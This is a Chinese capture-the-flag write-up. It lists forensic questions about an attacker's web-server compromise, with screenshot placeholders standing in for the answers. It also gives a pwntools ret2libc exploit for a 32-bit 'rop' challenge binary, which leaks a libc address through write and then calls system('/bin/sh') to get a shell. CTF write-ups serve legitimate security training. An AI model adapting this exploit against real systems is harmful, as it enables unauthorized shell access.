铁人三项赛——数据赛WP
1.网站后台密码是多少?
第一题-1.PNG
第一题-2.PNG
2.攻击者IP是多少?
第二题.PNG
3.网站后台登陆地址是多少(http://+IP+路径)?
第三题.PNG
4.后台写入的Webshell内容是什么?
第四题-1.PNG
第四题-2.PNG
5.网站数据库密码是多少?
第五题.PNG
6.黑客第一个上传的php文件名是什么?
第六题-1.PNG
第六题-2.PNG
7.黑客对内网扫描的范围是多少(ip1-ip2)?
第七题.PNG
8.黑客下载的数据库备份文件名是什么?
第八题-1.PNG
第八题-2.PNG
第八题-3.PNG
9.黑客上传的图片木马的密码是多少?
第九题.PNG
10.黑客修改了哪个文件来配合木马文件(绝对路径)?
第十题-1.PNG
第十题-2.PNG
11.FTP服务器开在了哪个端口?
第十一题.PNG
12.黑客使用FTP上传的文件名?
第十二题.PNG
13.黑客登陆FTP的密码是多少?
第十三题.PNG
14.黑客使用FTP上传的文件中的文件内容是什么?
第十四题.PNG
铁人三项赛——个人赛部分WP
1.rop
发现vulnerable_function()中存在溢出漏洞
个人赛-1.PNG
它申请了0x88的内存
个人赛-2.PNG
却读入了0x100的内容
个人赛-3.png
最后通过地址的覆盖拿到shell,以前有做过这类题,改了改参数,这是代码~
from pwn import *
DEBUG = 0
if DEBUG:
#p = process('./rop')
#scontext.log_level = 'debug'
#libc = ELF('/lib32/libc-2.24.so')
p = process(['./rop'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc32')})
libc = ELF('./libc32')
else:
p = remote('比赛ip',端口号)
libc = ELF('./libc32')
#libc = ELF('libc_64.so.6')
#context.log_level = 'debug'
vuln_func=0x8048474
write_plt=0x80483A0
write_got=0x804a010
#free 0x134d
#gdb.attach(p,"b*0x804849C")
data='a'*0x88+'a'*4+p32(write_plt)+p32(vuln_func)+p32(1)+p32(write_got)+p32(0x4)
p.send(data)
write_addr=u32(p.recv(4))
libc_base=write_addr-libc.symbols['write']
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+next(libc.search('/bin/sh'))
data='a'*0x88+'a'*4+p32(system_addr)+'aaaa'+p32(binsh_addr)
p.send(data)
p.interactive()